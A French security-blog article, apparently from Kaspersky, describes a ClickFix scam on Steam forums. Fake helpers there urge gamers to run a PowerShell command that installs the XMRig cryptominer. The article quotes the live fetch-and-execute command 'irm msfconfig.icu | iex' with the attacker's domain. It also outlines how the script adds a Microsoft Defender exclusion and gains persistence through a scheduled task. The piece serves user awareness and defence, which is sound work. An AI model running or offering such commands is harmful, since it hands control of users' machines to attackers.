{"id":24214,"date":"2026-08-24T16:52:24","date_gmt":"2026-08-24T14:52:24","guid":{"rendered":"https:\/\/www.kaspersky.fr\/blog\/?p=24214"},"modified":"2026-08-24T16:52:24","modified_gmt":"2026-08-24T14:52:24","slug":"steam-forum-clickfix-attack-irm-iex","status":"publish","type":"post","link":"https:\/\/www.kaspersky.fr\/blog\/steam-forum-clickfix-attack-irm-iex\/24214\/","title":{"rendered":"Mauvais conseil aux joueurs : ClickFix s’attaque aux forums Steam"},"content":{"rendered":"

Cette ann\u00e9e a \u00e9t\u00e9 marqu\u00e9e par une v\u00e9ritable recrudescence des attaques ClickFix<\/a>. Cette technique remporte un tel succ\u00e8s aupr\u00e8s des criminels que nous avons \u00e0 peine le temps de terminer un article sur une variante qu\u2019il est d\u00e9j\u00e0 temps de passer \u00e0 la suivante.<\/p>\n

Cette fois-ci, les pirates informatiques s\u2019en prennent aux joueurs\u00a0: des journalistes sp\u00e9cialis\u00e9s dans les technologies ont d\u00e9couvert des messages publi\u00e9s sur les forums de Steam diffusant des conseils malveillants<\/a>. Voici \u00e0 quoi ressemblent ces publications, quels programmes malveillants elles servent \u00e0 propager et comment prot\u00e9ger votre appareil.<\/p>\n

ClickFix d\u00e9barque sur les forums Steam<\/h2>\n

De nombreux joueurs se tournent vers leurs pairs sur les forums Steam pour obtenir de l\u2019aide et des conseils, notamment pour venir \u00e0 bout d\u2019une qu\u00eate difficile, gagner des niveaux, d\u00e9crocher le meilleur butin ou r\u00e9soudre un bug. Et c\u2019est pr\u00e9cis\u00e9ment cette confiance dans les conseils de la communaut\u00e9 que les pirates informatiques ont d\u00e9cid\u00e9 d\u2019exploiter.<\/p>\n

L\u2019attaque commence lorsque des cybercriminels r\u00e9pondent \u00e0 la question d\u2019un utilisateur concernant des plantages dans un jeu, des objets manquants dans l\u2019inventaire ou d\u2019autres probl\u00e8mes techniques. Sous couvert de commentaires bienveillants, ils sugg\u00e8rent d\u2019ouvrir PowerShell en tant qu\u2019administrateur et d\u2019ex\u00e9cuter une commande cens\u00e9e r\u00e9soudre le probl\u00e8me rencontr\u00e9 par l\u2019utilisateur.<\/p>\n

\"Message<\/a>

En camouflant un message de d\u00e9pannage, l\u2019acteur malveillant sugg\u00e8re de lancer PowerShell en tant qu\u2019administrateur et d\u2019ex\u00e9cuter une commande cens\u00e9e r\u00e9soudre le probl\u00e8me de l\u2019utilisateur. Source <\/a><\/p><\/div>\n

Comme vous pouvez vous en douter, l\u2019ex\u00e9cution de cette commande ne r\u00e9sout rien\u00a0: elle ne fait qu\u2019ouvrir une nouvelle bo\u00eete de Pandore. C\u2019est l\u00e0 tout le principe de ClickFix\u00a0: recourir \u00e0 l\u2019ing\u00e9nierie sociale pour amener les victimes \u00e0 effectuer elles-m\u00eames des actions dangereuses, tout en fournissant aux escrocs ce dont ils ont besoin pour compromettre l\u2019appareil. Nous avons d\u00e9j\u00e0 abord\u00e9 d\u2019autres m\u00e9thodes ClickFix, telles que les faux CAPTCHA, les fausses erreurs de navigateur et bien d\u2019autres encore, qui consistent toutes \u00e0 amener la victime \u00e0 ex\u00e9cuter elle-m\u00eame la commande malveillante. Pour en savoir plus sur les diff\u00e9rentes variantes des attaques ClickFix<\/a>, consultez notre article pr\u00e9c\u00e9dent.<\/p>\n

Le probl\u00e8me avec l\u2019utilisation de ClickFix sur les forums Steam, c\u2019est que l\u2019attaque peut toucher non seulement le joueur qui a demand\u00e9 de l\u2019aide, mais aussi de nombreux autres joueurs qui rencontrent le m\u00eame probl\u00e8me et trouvent la r\u00e9ponse via une recherche Google.<\/p>\n

Introduction rapide : ce qui se cache r\u00e9ellement derri\u00e8re la commande irm <\/em>| iex<\/em><\/h2>\n

Avant d\u2019aborder les m\u00e9thodes utilis\u00e9es par les pirates pour inciter les joueurs \u00e0 installer ce logiciel, il convient de rappeler quelques notions techniques. Donc, pour commencer, les messages publi\u00e9s sur les forums de Steam conseillent aux victimes potentielles, qui ne se doutent de rien, d\u2019ex\u00e9cuter la commande suivante dans PowerShell\u00a0:<\/p>\n

irm msfconfig.icu | iex <\/code><\/p>\n

Pour quelqu\u2019un qui ne conna\u00eet pas tr\u00e8s bien PowerShell, cette commande peut sembler assez inoffensive\u00a0: elle ressemble au lancement de MSConfig, l\u2019utilitaire de configuration syst\u00e8me int\u00e9gr\u00e9 \u00e0 Windows, avec quelques param\u00e8tres suppl\u00e9mentaires.<\/p>\n

En r\u00e9alit\u00e9, cependant, cette commande est tout sauf inoffensive. Voyons en d\u00e9tail ce que fait r\u00e9ellement chaque partie de cette commande\u00a0:<\/p>\n

    \n
  1. irm<\/em><\/strong> est l\u2019abr\u00e9viation de la commande int\u00e9gr\u00e9e PowerShell Invoke-RestMethod<\/em>. Elle contacte l\u2019adresse Web indiqu\u00e9e plus loin dans la ligne et r\u00e9cup\u00e8re les donn\u00e9es en r\u00e9ponse.<\/li>\n
  2. icu<\/em><\/strong> correspond \u00e0 cette adresse Web, et non au nom d\u2019un fichier local, comme on pourrait le croire \u00e0 premi\u00e8re vue. C\u2019est le serveur du pirate informatique, et il r\u00e9pond \u00e0 la requ\u00eate irm<\/em><\/strong> en envoyant un script PowerShell malveillant.<\/li>\n
  3. iex<\/em><\/strong> est une autre commande PowerShell int\u00e9gr\u00e9e, Invoke-Expression<\/em>. Elle prend tout ce que la requ\u00eate irm<\/em><\/strong> re\u00e7oit de cette adresse Web et l\u2019ex\u00e9cute sous forme de code PowerShell.<\/li>\n<\/ol>\n

    Une fois ex\u00e9cut\u00e9e, cette ligne de code PowerShell t\u00e9l\u00e9charge un script depuis le site indiqu\u00e9 et l\u2019ex\u00e9cute imm\u00e9diatement. Comme l\u2019a justement soulign\u00e9<\/a> un utilisateur de Reddit, il est possible de savoir en toute s\u00e9curit\u00e9 quel code serait effectivement t\u00e9l\u00e9charg\u00e9 sur votre appareil, sans risque qu\u2019il s\u2019ex\u00e9cute, simplement en supprimant la deuxi\u00e8me partie, iex<\/em><\/strong>. Sans elle, la commande se contentera de t\u00e9l\u00e9charger le contenu du script et de l\u2019afficher dans la fen\u00eatre PowerShell sans l\u2019ex\u00e9cuter. Vous disposerez ainsi du code complet et non masqu\u00e9 que l\u2019on vous demande d\u2019ex\u00e9cuter sur votre appareil. Voyons maintenant ce que ces membres si serviables des forums Steam essaient en r\u00e9alit\u00e9 de faire installer aux joueurs sur leurs machines.<\/p>\n

    Un mineur de cryptomonnaies, pas un outil d\u2019optimisation<\/h2>\n

    Les pirates ont bien pr\u00e9par\u00e9 leur coup\u00a0: le script PowerShell t\u00e9l\u00e9charg\u00e9 depuis leur serveur imite de mani\u00e8re tr\u00e8s convaincante un utilitaire d\u2019optimisation Windows. Une fois lanc\u00e9, il affiche \u00e0 l\u2019utilisateur une s\u00e9rie de notifications indiquant qu\u2019il va supprimer les fichiers temporaires, vider le cache DNS, mettre \u00e0 jour les pilotes, v\u00e9rifier l\u2019int\u00e9grit\u00e9 du disque, d\u00e9sactiver les applications de d\u00e9marrage inutiles, analyser le syst\u00e8me \u00e0 la recherche de programmes malveillants, r\u00e9parer l\u2019image Windows et v\u00e9rifier l\u2019int\u00e9grit\u00e9 des fichiers syst\u00e8me.<\/p>\n

    \"Fausse<\/a>

    Le script affiche un flux de messages concernant diverses fausses t\u00e2ches d\u2019optimisation pour donner l\u2019impression qu\u2019il effectue une maintenance utile. Source <\/a><\/p><\/div>\n

    En r\u00e9alit\u00e9, c\u2019est en coulisses que tout se passe. Le script commence par v\u00e9rifier s\u2019il est ex\u00e9cut\u00e9 avec des droits d\u2019administrateur. Si c\u2019est le cas, il cr\u00e9e un dossier de travail masqu\u00e9 \u00e0 l\u2019emplacement C:\\Windows\\Background<\/em> et l\u2019ajoute \u00e0 la liste d\u2019exclusion de Microsoft Defender. \u00c0 partir de ce moment-l\u00e0, les fichiers plac\u00e9s dans ce dossier ne sont plus analys\u00e9s par l\u2019antivirus int\u00e9gr\u00e9 \u00e0 Windows.<\/p>\n

    Ensuite, le script pr\u00e9pare le syst\u00e8me pour la prochaine \u00e9tape de l\u2019attaque et t\u00e9l\u00e9charge un fichier ex\u00e9cutable \u00e0 partir du serveur des pirates, qu\u2019il enregistre dans ce m\u00eame dossier C:\\Windows\\Background<\/em> sous le nom, en apparence l\u00e9gitime, de system.exe<\/em>.<\/p>\n

    Le fichier t\u00e9l\u00e9charg\u00e9 est XMRig<\/em>, l\u2019un des outils les plus populaires pour le minage de la cryptomonnaie Monero. XMRig<\/em> n\u2019est pas en soi un programme malveillant, mais un outil de minage l\u00e9gitime et open source. Le probl\u00e8me vient du fait que des pirates informatiques l\u2019installent sur les ordinateurs des victimes \u00e0 leur insu. Une fois que le logiciel est lanc\u00e9, le pouvoir de calcul de l\u2019appareil est d\u00e9tourn\u00e9 pour servir au minage de Monero, et la cryptomonnaie ainsi obtenue profite directement aux cybercriminels.<\/p>\n

    Les ordinateurs des joueurs sont donc des cibles particuli\u00e8rement attrayantes, car les PC de jeu modernes sont \u00e9quip\u00e9s de cartes graphiques et de processeurs puissants \u2013 le type m\u00eame de mat\u00e9riel id\u00e9al pour le minage de cryptomonnaies.<\/p>\n

    Pour s\u2019assurer que le programme malveillant survive \u00e0 un red\u00e9marrage, le script cr\u00e9e \u00e9galement une nouvelle t\u00e2che dans le planificateur de t\u00e2ches de Windows\u00a0: XMRig-{nom de l\u2019ordinateur}<\/em>. D\u00e8s lors, il lance automatiquement le mineur de cryptomonnaies \u00e0 chaque d\u00e9marrage du syst\u00e8me.<\/p>\n

    Comment prot\u00e9ger votre appareil contre les mineurs de cryptomonnaies et les autres programmes malveillants<\/h2>\n

    Malheureusement, de nombreux joueurs h\u00e9sitent \u00e0 installer un logiciel de s\u00e9curit\u00e9, ou \u00e0 le laisser activ\u00e9, sur leurs appareils. Le principal responsable est le mythe tenace selon lequel \u00a0\u00bb\u00a0un antivirus ralentit les jeux\u00a0\u00ab\u00a0. Nous avons d\u00e9j\u00e0 abord\u00e9 ce sujet sur notre blog, et les r\u00e9sultats ont montr\u00e9 que l\u2019utilisation d\u2019un antivirus pendant une partie n\u2019entra\u00eenait aucune perte de performances notable<\/a>.<\/p>\n

    On ne peut toutefois pas en dire autant des mineurs de cryptomonnaies\u00a0: ils nuisent ind\u00e9niablement aux performances et, qui plus est, ils usent plus rapidement votre mat\u00e9riel. Alors, que peut-on faire pour prot\u00e9ger son PC de jeu et ses comptes\u00a0?<\/p>\n